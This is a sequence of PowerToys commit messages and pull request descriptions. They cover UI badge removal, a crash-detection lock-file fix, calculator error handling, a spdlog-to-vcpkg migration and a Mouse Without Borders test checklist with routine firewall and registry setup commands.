Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Both Power Display and Grab and Move have matured beyond their initial
release phase. This removes the "NEW" `InfoBadge` from their navigation
items in Settings, the two parent navigation groups (Windowing &
Layouts, Input / Output) that surfaced the badge when collapsed, and
clears the `IsNew` flag for Power Display in the OOBE shell.
<img width="1867" height="973" alt="image"
src="https://github.com/user-attachments/assets/533f271c-c70f-414f-a76a-43fd9ffbbd44"
/>
<img width="497" height="575" alt="image"
src="https://github.com/user-attachments/assets/fe1e97c3-c806-4f42-a836-76e042630d61"
/>
<img width="1619" height="1027" alt="image"
src="https://github.com/user-attachments/assets/f5db715b-bc69-4505-803a-18a9b2716280"
/>
## PR Checklist
- [x] Closes: #48153
- [x] **Communication:** Tracked by the linked issue
- [x] **Tests:** Markup-only change; Settings.UI builds clean with WinUI
markup compiler (no XAML errors)
- [x] **Localization:** No end-user-facing strings changed
- [ ] **Dev docs:** N/A
- [ ] **New binaries:** N/A
- [ ] **Documentation updated:** N/A
## Detailed Description of the Pull Request / Additional comments
Files touched:
- `src/settings-ui/Settings.UI/SettingsXAML/Views/ShellPage.xaml` —
removed four `<InfoBadge Style="{StaticResource NewInfoBadge}" />`
blocks on `GrabAndMoveNavigationItem`, `PowerDisplayNavigationItem`, and
on the two parent group headers `WindowingAndLayoutsNavigationItem` and
`InputOutputNavigationItem` (the parent badges existed only to surface a
NEW child when the group was collapsed; with no NEW children left in
those groups, the parent badges are now stale).
- `src/settings-ui/Settings.UI/OOBE/ViewModel/OobeShellViewModel.cs` —
flipped `(PowerToysModules.PowerDisplay, true)` to
`(PowerToysModules.PowerDisplay, false)`. Grab and Move was already
`false`.
No other modules or strings affected.
## Validation Steps Performed
- Built `src\settings-ui\Settings.UI\PowerToys.Settings.csproj`
(Release|x64) with MSBuild from VS 18 Enterprise;
`PowerToys.Settings.dll` produced with 0 errors related to this change.
WinUI markup compiler would have aborted before producing the DLL if the
XAML had syntax issues.
- Diff inspected: only the five intended deletions/edits, no collateral
changes.
- Visual run-time verification of the Settings navigation pane is
recommended before merge.
Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Cooperative shutdowns of `PowerDisplay.exe` — Runner's `TerminateApp`
NamedPipe message, the `Terminate` named event, tray-quit, Runner-exit
detection, and PowerToys upgrades — all call `Environment.Exit(0)`
immediately. If DDC/CI discovery is mid-flight, that path skips the
`try/finally` that owns `CrashDetectionScope`, leaving `discovery.lock`
on disk. Phase 0 at the next `PowerDisplay.exe` startup then treats this
orphan as evidence of a real crash and auto-disables the module,
surfacing the "PowerDisplay has crashed" InfoBar in Settings UI.
This PR adds an `AppDomain.ProcessExit` safety-net inside
`CrashDetectionScope`. ProcessExit fires for `Environment.Exit` but
**not** for `FailFast` / BSOD / external `TerminateProcess` — exactly
the partition we need: cooperative exit → best-effort delete the lock;
involuntary kill → leave the lock for Phase 0 to detect (original design
intent preserved).
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #48169
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
<!-- no user-facing strings changed -->
- [x] **Dev docs:** Added/updated <!-- inline XML doc on
CrashDetectionScope explains the ProcessExit partition -->
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
### Root cause
`CrashDetectionScope.Begin()` writes `discovery.lock` before DDC/CI
capability fetch and `Dispose()` deletes it when the `using` block
exits. The lock is intentionally designed to survive any code path that
cannot run user-mode cleanup (BSOD, kernel OOM, `TerminateProcess`), so
that the next `PowerDisplay.exe` start can see it and run Phase 0 (write
`crash_detected.flag`, set `enabled.PowerDisplay=false` in global
`settings.json`, signal `AutoDisablePowerDisplayEvent`).
The bug is that several **cooperative** shutdown paths route to
`Environment.Exit(0)` immediately:
| Path | Code |
|---|---|
| Runner's `TerminateApp` NamedPipe | `App.xaml.cs::OnNamedPipeMessage`
→ `Shutdown()` → `Environment.Exit(0)` |
| `Terminate` named event | `App.xaml.cs::OnLaunched` →
`RegisterEvent(..., () => Environment.Exit(0), "Terminate")` |
| Tray-quit | `TrayIconService` callback → `Environment.Exit(0)` |
| Runner-exit detection | `RunnerHelper.WaitForPowerToysRunner` callback
→ `Environment.Exit(0)` |
`Environment.Exit` calls `ExitProcess` under the hood, which terminates
all threads abruptly. Background `Task.WhenAll` doing DDC capability
fetch is killed mid-flight; the `finally` block that calls
`scope.Dispose()` never runs; `discovery.lock` orphans; Phase 0 next
time false-positives.
Concrete repro from logs:
- `15:08:42.510` lock written
- `15:08:42.79` probe monitor #1
- `15:08:46.92` probe monitor #2 (started, not finished — typical probe
takes ~5s)
- `15:08:49.03` `TerminateApp` received → `Environment.Exit(0)` → no
`Dispose` log line
- `15:10:10.03` next startup: Phase 0 sees orphan lock with `pid:17712,
startedAt:2026-05-28T07:08:42Z` → writes `crash_detected.flag` →
auto-disables
### Fix
`CrashDetectionScope.Begin()` now also subscribes to
`AppDomain.CurrentDomain.ProcessExit`. The handler does a best-effort
`File.Delete(_lockPath)` (swallowing exceptions, as required for
ProcessExit handlers). `Dispose()` unsubscribes before deleting. An
`Interlocked.Exchange` guards the race between Dispose and ProcessExit
so only one of the two performs the delete.
ProcessExit's semantics match the cooperative/involuntary partition
exactly:
| Shutdown path | ProcessExit fires? | Behavior after this PR |
|---|---|---|
| `Environment.Exit(code)` (all 4 paths above) | yes | lock deleted by
handler |
| `Environment.FailFast` | no | lock survives → Phase 0 catches it
(correct: explicit FailFast = real failure) |
| BSOD / external `TerminateProcess` / kernel OOM | no | lock survives →
Phase 0 catches it (correct: original design) |
| Discovery completes normally / throws | n/a | `try/finally` calls
`Dispose()` as before; handler unsubscribed first |
### Testability
A new `IProcessExitHook` interface abstracts the subscription so unit
tests can simulate ProcessExit without terminating the test runner.
Production code uses the default `AppDomainProcessExitHook` singleton;
tests inject a fake whose `RaiseExit()` invokes subscribed handlers
synchronously.
### Files touched
-
`src/modules/powerdisplay/PowerDisplay.Lib/Services/IProcessExitHook.cs`
*(new)* — interface + production singleton
-
`src/modules/powerdisplay/PowerDisplay.Lib/Services/CrashDetectionScope.cs`
— subscribe in `Begin`, unsubscribe in `Dispose`, add `OnProcessExit`
handler, expanded class doc
-
`src/modules/powerdisplay/PowerDisplay.Lib.UnitTests/CrashDetectionScopeTests.cs`
*(new)* — 10 unit tests
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
### Automated
10 new unit tests in `CrashDetectionScopeTests`, all passing:
```
Passed Begin_WritesLockFileAtomically
Passed Begin_SubscribesToProcessExit
Passed Dispose_UnsubscribesFromProcessExit
Passed Dispose_DeletesLockFile
Passed ProcessExitFired_BeforeDispose_DeletesLock (core scenario)
Passed ProcessExitFired_AfterDispose_DoesNothing
Passed Dispose_AfterProcessExit_DoesNotThrow
Passed ProcessExitFired_LockFileMissing_DoesNotThrow
Passed Dispose_IsIdempotent
Passed MultipleScopes_DoNotShareState
```
Full `PowerDisplay.Lib.UnitTests` suite: **129 / 132 passing**. The 3
failures (`DetectOrphanAndDisable_RunsFullSequenceWhenOrphanPresent`,
`DetectOrphanAndDisable_HandlesUnknownVersionAsOrphan`,
`DetectOrphanAndDisable_LeavesLockIntactOnSignalFailure`) are
**pre-existing on `main`** — they fail with `REGDB_E_CLASSNOTREG` from
`Constants.AutoDisablePowerDisplayEvent()` (WinRT activation factory not
COM-registered in the test environment). Verified by stashing this PR's
changes and re-running the same 3 tests on baseline `main` — same
failures, same cause, unrelated to this change.
### Manual
1. Reproduced the original false-positive on `main`:
- Enable PowerDisplay → open Settings UI → quickly toggle PowerDisplay
off
- Observe `discovery.lock` left in
`%LOCALAPPDATA%\Microsoft\PowerToys\PowerDisplay\`
- Re-enable PowerDisplay → Phase 0 writes `crash_detected.flag` →
InfoBar appears
2. Repeated the same steps with this branch:
- Toggling PowerDisplay off cleanly deletes `discovery.lock`
(ProcessExit handler ran)
- Re-enabling PowerDisplay shows no InfoBar, no `crash_detected.flag`
created
3. BSOD path is unchanged (verified by inspecting the conditional logic
— `AppDomain.ProcessExit` does not fire for involuntary terminations;
the lock survives just as before).
---------
Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
## Summary of the Pull Request
Renames the OOBE welcome/overview hyperlink label from **“Documentation
on Microsoft Learn”** to **“Documentation”** for brevity and
consistency.
Scope is limited to the localized string resource used by the OOBE
overview page.
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
- **Resource update (OOBE Overview)**
- Updated `Oobe_Overview_DescriptionLinkText.Text` in
`src/settings-ui/Settings.UI/Strings/en-us/Resources.resw`.
```xml
<data name="Oobe_Overview_DescriptionLinkText.Text" xml:space="preserve">
<value>Documentation</value>
</data>
```
## Validation Steps Performed
- Confirmed the OOBE overview string key now resolves to
**“Documentation”**.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Return a friendly calculator error when Mages evaluates an expression to
a complex number instead of letting decimal conversion throw.
This fixes the PowerToys Run Calculator result for expressions such as
`sqrt(-1)` by detecting `System.Numerics.Complex` results before decimal
conversion and showing a localized error message instead.
Fixes#43937
## PR Checklist
- [x] Closes: #43937
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [x] **Dev docs:** Added/updated
- [x] **New binaries:** Added on the required places
- [x] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [x] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [x] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [x] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [x] **Documentation updated:** Not required for this bug fix.
## Detailed Description of the Pull Request / Additional comments
The Calculator plugin previously passed complex results from Mages into
`Convert.ToDecimal`, which caused an exception for expressions like
`sqrt(-1)`.
This PR updates the calculator result transformation logic to detect
`System.Numerics.Complex` and return a localized user-facing error
message: `Complex numbers are not supported`.
It also updates calculator query tests to cover both direct keyword and
global query behavior.
## Validation Steps Performed
- Added unit test coverage for `=sqrt(-1)` returning `Complex numbers
are not supported`.
- Added unit test coverage for global query `sqrt(-1)` returning no
result instead of surfacing an unhandled exception.
- Ran `git diff --check`.
- Attempted local build/test with the PowerToys build scripts, but local
validation was blocked by Visual Studio/VC tooling configuration issues
unrelated to this change: `PlatformToolsetVersion` resolves to an empty
value during restore/build.
This removes our last git submodule dependency!
We were using `expected-lite` in one place, which was being compiled out
_anyway_ in favor of using `std::expected`.
## Summary
Migrate `deps/spdlog` from a git submodule to **vcpkg manifest mode**
with an overlay port pinned to the **exact same commit**
(`gabime/spdlog@616866fc`). Replaces the polyfill shim added in #47910
with a proper port-level patch.
This is the follow-up to PR #47928, which I closed after @zadjii-msft /
@DHowett clarified that the intended direction was a single combined
"move to vcpkg **and** apply a patch file" (one change, not two stepping
stones).
## Guidance honored
Per @zadjii-msft (offline):
- ✅ Convert each submodule to vcpkg **one at a time** — this PR is
**spdlog only**. `deps/expected-lite` stays a submodule (separate PR
next).
- ✅ Atomic commit per dep (multiple commits on the branch for review
traceability; squash on merge gives the requested single commit).
- ✅ **Don't bump the version.** Only variable changed: submodule →
vcpkg. Same commit (`616866fc`, v1.8.5 + 38) the submodule pointed at.
Per @DHowett
([review](https://github.com/microsoft/PowerToys/pull/48039#pullrequestreview-4338835150)):
- ✅ No vcpkg submodule — vswhere-first detection via a Terminal-style
`steps-install-vcpkg.yml` template; three-tier `VcpkgRoot` fallback (env
var → VS-shipped → runtime clone pinned to manifest baseline).
## Design
- **Repo-root manifest**: `vcpkg.json` declares only `spdlog`, with
`builtin-baseline` pinned. `vcpkg-configuration.json` registers
`deps/vcpkg-overlays/` as overlay-ports.
- **Overlay port** `deps/vcpkg-overlays/spdlog/`: `vcpkg_from_github(REF
616866fc...)` with bundled fmt preserved (`-DSPDLOG_FMT_EXTERNAL=OFF`);
the MSVC 14.51 fix from #47910 carried as a proper vcpkg patch on
`include/spdlog/fmt/bundled/format.h`.
- **vcpkg integration is global** (set in `Cpp.Build.props`, imported
via `ForceImportBeforeCppProps` for every `.vcxproj`). An earlier
attempt to make vcpkg per-project-opt-in via `deps/spdlog.props` failed
because ~85 PowerToys `.vcxproj` files import `spdlog.props` AFTER
`Microsoft.Cpp.targets`, by which point `vcpkg.props`' `ClCompile` hook
is dead-on-arrival. The trade-off (every C++ project invokes `vcpkg
install` once at build time, ~0.5 s on cache hits, manifest declares
only spdlog so install set is fixed) is documented in the expanded
`Cpp.Build.props` comment.
- **`deps/spdlog.props`** is now a thin shim that only sets the
historical `SPDLOG_*` preprocessor defines for source-compat.
- **`Cpp.Build.targets`** is a new file imported via
`ForceImportAfterCppTargets` to load `vcpkg.targets` after
`Microsoft.Cpp.targets`. A fail-fast `<Target>` errors with a clear
message if `vcpkg.props` can't be found at the resolved `VcpkgRoot`.
- **Removes** `deps/spdlog-msvc-fix/` polyfill, in-tree wrapper
`src/logging/`, spdlog submodule, the single `<ProjectReference>` in
`logger.vcxproj`, plus 3 `.slnf` refs and 2 `.slnx` refs
(`PowerToys.slnx` + `installer/PowerToysSetup.slnx`), plus 3 hard-coded
`..\deps\spdlog\include` entries in `<AdditionalIncludeDirectories>`.
- **CI**: new reusable `.pipelines/v2/templates/steps-install-vcpkg.yml`
(vswhere-first, manifest-baseline-pinned fallback clone, respects
`useVSPreview`). Gated `Cache@2` for `%LOCALAPPDATA%\vcpkg\archives`
keyed on overlay-port contents. Same vcpkg detection added to
`tools\build\build-essentials.ps1` for local devs.
## Verification
Local build matrix (all 4 configs of `logger.vcxproj` and a
representative late-import consumer):
| Config | Result | Notes |
|--------|--------|-------|
| Release \| x64 | ✅ | vcpkg install ~21 s, `logger.lib` produced |
| Debug \| x64 | ✅ | **Validates patch fixes the actual MSVC 14.51 bug**
(`_ITERATOR_DEBUG_LEVEL > 0` → `_SECURE_SCL`) |
| Release \| ARM64 | ✅ | vcpkg cross-installs `arm64-windows-static`
spdlog in ~16 s |
| Debug \| ARM64 | ✅ | **Previously DISABLED for the in-tree spdlog**
(per `<Build Solution="Debug\|ARM64" Project="false" />` in
`PowerToysSetup.slnx`); this migration FIXES that latent gap |
| FancyZonesLib (Release \| x64) | ✅ | Late-import-pattern consumer;
previously broke in v2 |
Full PowerToys CI (x64 + arm64 + CmdPal SDK + all GitHub Actions checks)
green.
**Consumer audit**: 72 `.vcxproj` files reference `logger.vcxproj`; all
72 also import `deps/spdlog.props`. No transitive-link breakage.
## Out of scope (intentional)
- `deps/expected-lite` migration — next PR per "one-at-a-time" rule.
- Remote vcpkg binary cache (Azure Artifacts NuGet feed). Local pipeline
`Cache@2` works for now, but a remote feed survives across pipelines and
is the long-term answer. Happy to split this into a follow-up.
## Notes for review
- Patch in the overlay port is identical content to PR #47928's patch
but regenerated with LF line endings (vcpkg's `vcpkg_apply_patches` is
strict; no `--ignore-whitespace`).
- Once PowerToys eventually bumps spdlog past v1.14 (which ships fmt
10.2 and drops the affected code path), the overlay port can be deleted
and we can use upstream vcpkg's `spdlog` directly.
- Re. official-release pipelines and terrapin / less-restricted network
isolation: VS-shipped vcpkg is the primary path (no network); the
fallback clone is only exercised when VS doesn't ship vcpkg. Happy to
wire terrapin into the fallback as a follow-up if the official build
template needs it.
Closes the work tracked in #47928 (which was closed unmerged).
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Dustin L. Howett <dustin@howett.net>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Some focussed refactoring / simplifying / cleanup / delinting on the
Mouse Without Borders codebase (see [#44508 - [Mouse Without Borders] -
de-linting
codebase](https://github.com/microsoft/PowerToys/issues/44508)) now that
the Common class has been broken down.
This PR does some cleaning up on the ```Logger``` class:
* Uplifting coding style (string interpolation, pattern matching,
```var```, etc)
* Rationalising and simplifying code
* Relocating e.g. IO and UI side effects (writing to disk, displaying
dialog boxes) outside of Logger class
* Removing dead code, tightening visibility of existing code
* Added / updated tests to try to cover as much of the refactoring as
possible to prevent regressions
I've split the changes into lots of small commits - it might be easier
to review the individual commits rather than the whole PR in one go.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
### Run manual tests from [Test Checklist
Template](5bc7201ae2/doc/releases/tests-checklist-template.md (mouse-without-borders)):
* Install PowerToys on two PCs in the same local network:
- [x] Verify that PowerToys is properly installed on both PCs.
- [x] Configure Windows Firewall Rules
- ```netsh advfirewall firewall add rule
name="PowerToys.MouseWithoutBorders - mc" dir=in action=allow
program="C:\src\mc\PowerToys\x64\Debug\PowerToys.exe" enable=yes
remoteip=any profile=any protocol=tcp```
* Setup Connection:
- [x] Open MWB's settings on the first PC and click the "New Key"
button. Verify that a new security key is generated.
- [x] Copy the generated security key and paste it in the corresponding
input field in the settings of MWB on the second PC. Also enter the name
of the first PC in the required field.
- [x] Press "Connect" and verify that the machine layout now includes
two PC tiles, each displaying their respective PC names.
* Verify Connection Status:
- [x] Ensure that the border of the remote PC turns green, indicating a
successful connection.
- [x] Enter an incorrect security key and verify that the border of the
remote PC turns red, indicating a failed connection.
* Test Remote Mouse/Keyboard Control:
- [x] With the PCs connected, test the mouse/keyboard control from one
PC to another. Verify that the mouse/keyboard inputs are correctly
registered on the other PC.
- [ ] Test remote mouse/keyboard control across all four PCs, if
available. Verify that inputs are correctly registered on each connected
PC when the mouse is active there.
- unable to test - only 2 machines available
* Test Remote Control with Elevated Apps:
- note - the main PowerToys.exe must be running as a **non**-admin for
these tests
- [x] Open an elevated app on one of the PCs. Verify that without "Use
Service" enabled, PowerToys does not control the elevated app.
- [x] Enable "Use Service" in MWB's settings (need to run PowerToys.exe
as admin to enable "Use Service", then restart PowerToys.exe as
non-admin). Verify that PowerToys can now control the elevated app
remotely. Verify that MWB processes are running as LocalSystem, while
the MWB helper process is running non-elevated.
- ```get-process -Name "PowerToys.MouseWithoutBorders*" -IncludeUserName
| format-table Id, ProcessName, UserName```
- [x] Process: ```PowerToys.MouseWithoutBorders.exe``` - running as
```SYSTEM```
- [x] Process: ```PowerToys.MouseWithoutBorders.Helper.exe``` - running
as current user
- ```get-service -Name "PowerToys.*" | ft Status, Name, UserName;
get-ciminstance -Class "Win32_Service" -Filter "Name like 'PowerToys%'"
| ft ProcessId, Name```
- [ ] Service: ```PowerToys.MWB.Service``` - running as ```Local
System```
- [x] Toggle "Use Service" again, verify that each time you do that, the
MWB processes are restarted.
- [ ] Run PowerToys elevated on one of the machines, verify that you can
control elevated apps remotely now on that machine.
* Test Module Enable Status:
- [ ] For all combinations of "Use Service"/"Run PowerToys as admin",
try enabling/disabling MWB module and verify that it's indeed being
toggled using task manager.
* Test Disconnection/Reconnection:
- [ ] Disconnect one of the PCs from network. Verify that the machine
layout updates to reflect the disconnection.
- [ ] Do the same, but now by exiting PowerToys.
- [ ] Start PowerToys again, verify that the PCs are reconnected.
* Test Various Local Network Conditions:
- [ ] Test MWB performance under various network conditions (e.g., low
bandwidth, high latency). Verify that the tool maintains a stable
connection and functions correctly.
* Clipboard Sharing:
- [ ] Copy some text on one PC and verify that the same text can be
pasted on another PC.
- [ ] Use the screenshot key and Win+Shift+S to take a screenshot on one
PC and verify that the screenshot can be pasted on another PC.
- [ ] Copy a file in Windows Explorer and verify that the file can be
pasted on another PC. Make sure the file size is below 100MB.
- [ ] Try to copy multiple files and directories and verify that it's
not possible (only the first selected file is being copied).
* Drag and Drop:
- [ ] Drag a file from Windows Explorer on one PC, cross the screen
border onto another PC, and release it there. Verify that the file is
copied to the other PC. Make sure the file size is below 100MB.
- [ ] While dragging the file, verify that a corresponding icon is
displayed under the mouse cursor.
- [ ] Without moving the mouse from one PC to the target PC, press
CTRL+ALT+F1/2/3/4 hotkey to switch to the target PC directly and verify
that file sharing/dropping is not working.
* Lock and Unlock with "Use Service" Enabled:
- [ ] Enable "Use Service" in MWB's settings.
- [ ] Lock a remote PC using Win+L, move the mouse to it remotely, and
try to unlock it. Verify that you can unlock the remote PC.
- [ ] Disable "Use Service" in MWB's settings, lock the remote PC, move
the mouse to it remotely, and try to unlock it. Verify that you can't
unlock the remote PC.
* Test Settings:
- [ ] Change the rest of available settings on MWB page and verify that
each setting works as described.
### Group Policy Tests
See https://learn.microsoft.com/en-us/windows/powertoys/grouppolicy
- [ ] Install *.admx / *.adml and check settings behave as expected
- [ ] I'll expand the list of settings here when I get this far :-)
- [ ] HKEY_LOCAL_MACHINE\SOFTWARE\Policies\PowerToys
- [x] ConfigureEnabledUtilityMouseWithoutBorders
- [x] ```[missing]``` - "Activation -> Enable Mouse Without Borders"
enabled, with GPO warning hidden
- ```reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\PowerToys /v
ConfigureEnabledUtilityMouseWithoutBorders /f```
- [x] ```0``` - "Activation -> Enable Mouse Without Borders" set to
"off" and disabled, with GPO warning visible
- ```reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\PowerToys /v
ConfigureEnabledUtilityMouseWithoutBorders /t REG_DWORD /d 0 /f```
- [x] ```1``` - "Activation -> Enable Mouse Without Borders" set to "on"
and disabled, with GPO warning visible
- ```reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\PowerToys /v
ConfigureEnabledUtilityMouseWithoutBorders /t REG_DWORD /d 1 /f```
- [ ] MwbClipboardSharingEnabled
- [ ] MwbFileTransferEnabled
- [ ] MwbUseOriginalUserInterface
- [ ] MwbDisallowBlockingScreensaver
- [ ] MwbSameSubnetOnly
- [ ] MwbValidateRemoteIp
- [x] MwbDisableUserDefinedIpMappingRules
- [x] ```[missing]``` - "Advanced Settings -> IP address mapping"
enabled, with GPO warning hidden
- ```reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\PowerToys /v
MwbDisableUserDefinedIpMappingRules /f```
- [x] ```0``` - "Advanced Settings -> IP address mapping" enabled, with
GPO warning hidden
- ```reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\PowerToys /v
MwbDisableUserDefinedIpMappingRules /t REG_DWORD /d 0 /f```
- [x] ```1``` - "Advanced Settings -> IP address mapping" disabled, with
GPO warning visible
- ```reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\PowerToys /v
MwbDisableUserDefinedIpMappingRules /t REG_DWORD /d 1 /f```
- [x] MwbPolicyDefinedIpMappingRules
- [x] ```[missing]``` - "Advanced Settings -> IP address mapping"
enabled, with GPO warning and GPO values hidden
- ```reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\PowerToys /v
MwbPolicyDefinedIpMappingRules /f```
- [x] ```[empty value]``` - "Advanced Settings -> IP address mapping"
enabled, with GPO warning hidden and GPO values hidden
- ```reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\PowerToys /v
MwbPolicyDefinedIpMappingRules /t REG_MULTI_SZ /d "" /f```
- [x] ```[non-empty value]``` - "Advanced Settings -> IP address
mapping" enabled, with GPO warning visible and GPO values visible
- ```reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\PowerToys /v
MwbPolicyDefinedIpMappingRules /t REG_MULTI_SZ /d "aaa 10.0.0.1\0bbb
10.0.0.2" /f```
Reopens the change from #46743 (which appears to be broken) on a fresh
branch.
Original author: @daverayment
## Summary
GitHub newcomers can be confused by the current duplicate resolution
message, as it doesn't clearly point to the original referenced issue -
see
https://github.com/microsoft/PowerToys/issues/46347#issuecomment-4103681050.
They may not realise that the #12345 in the duplicate comment is the
relevant link.
This small wording update to the duplicate resolution message tightens
up wording slightly and includes reference to the prior `/dup #nnn`
comment so newcomers don't miss it.
### Before
> Hi! We've identified this issue as a duplicate of another one that
already exists on this Issue Tracker. This specific instance is being
closed in favor of tracking the concern over on the referenced thread.
Thanks for your report!
### After
> We've identified this issue as a duplicate of an existing one and are
closing this thread so discussion stays in one place.<br/><br/>Please
see the comment above for the link to the original tracking issue, and
feel free to subscribe there for updates.
## Validation Steps Performed
N/A - bot reply text change only.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
On the Command Palette Performance Monitor extension's Network widget
page, the **Send** and **Receive** list items both used the generic
`NetworkIcon` (`\uEC05`), making them visually indistinguishable at a
glance.
This PR gives each direction its own glyph:
- Send → up arrow `\uE74A`
- Receive → down arrow `\uE74B`
The redundant `↑`/`↓` characters are removed from the Send/Receive
subtitles since the icons now carry that meaning.
Before vs after:
<img width="918" height="122" alt="image"
src="https://github.com/user-attachments/assets/4af3a2fc-d5a7-4fb5-98c6-f1889c7e80f2"
/>
## PR Checklist
- [x] **Closes:** N/A (no existing issue found)
- [x] **Communication:** I've discussed this with collaborators
- [x] **Tests:** Manually verified
- [x] **Localization:** Updated en-US resw (other locales still contain
the arrow characters and can be translated/updated by the loc pipeline)
## Detailed Description of the Pull Request / Additional comments
Files changed:
- `Icons.cs` – added `NetworkUpIcon` and `NetworkDownIcon`
- `PerformanceWidgetsPage.cs` – set `Icon` on `_networkUpItem` and
`_networkDownItem`
- `Strings/en-US/Resources.resw` – `Send ↑` → `Send`, `Receive ↓` →
`Receive`
## Validation Steps Performed
Local visual verification in Command Palette.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
`ToJsonFromXmlOrCsvAsync` in `AdvancedPaste/Helpers/JsonHelper.cs`
documents that it never throws and returns an empty string on any
failure. The clipboard read at the top of the method
(`clipboardData.GetTextAsync()`) was not wrapped, so a transient
clipboard failure could surface as an exception to callers, contrary to
the documented contract.
This PR:
- Wraps `GetTextAsync()` in a try/catch and returns `string.Empty` on
failure, matching the pattern already used by the JSON/XML/CSV parsing
branches further down in the same method.
- Updates the matching unit test to decode input bytes as UTF-8
(`Encoding.UTF8.GetString(input)`) and consume the awaited task via
`GetAwaiter().GetResult()`, for consistency with sibling tests elsewhere
in the solution.
## Validation
- Local build of `AdvancedPaste.sln`. (Note: my machine has a
pre-existing NuGet SDK resolver issue unrelated to this change — the
same baseline fails on `main` for me. CI should be the source of truth.)
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Adding information about using the Command Palette Visual Studio
solution filter based on
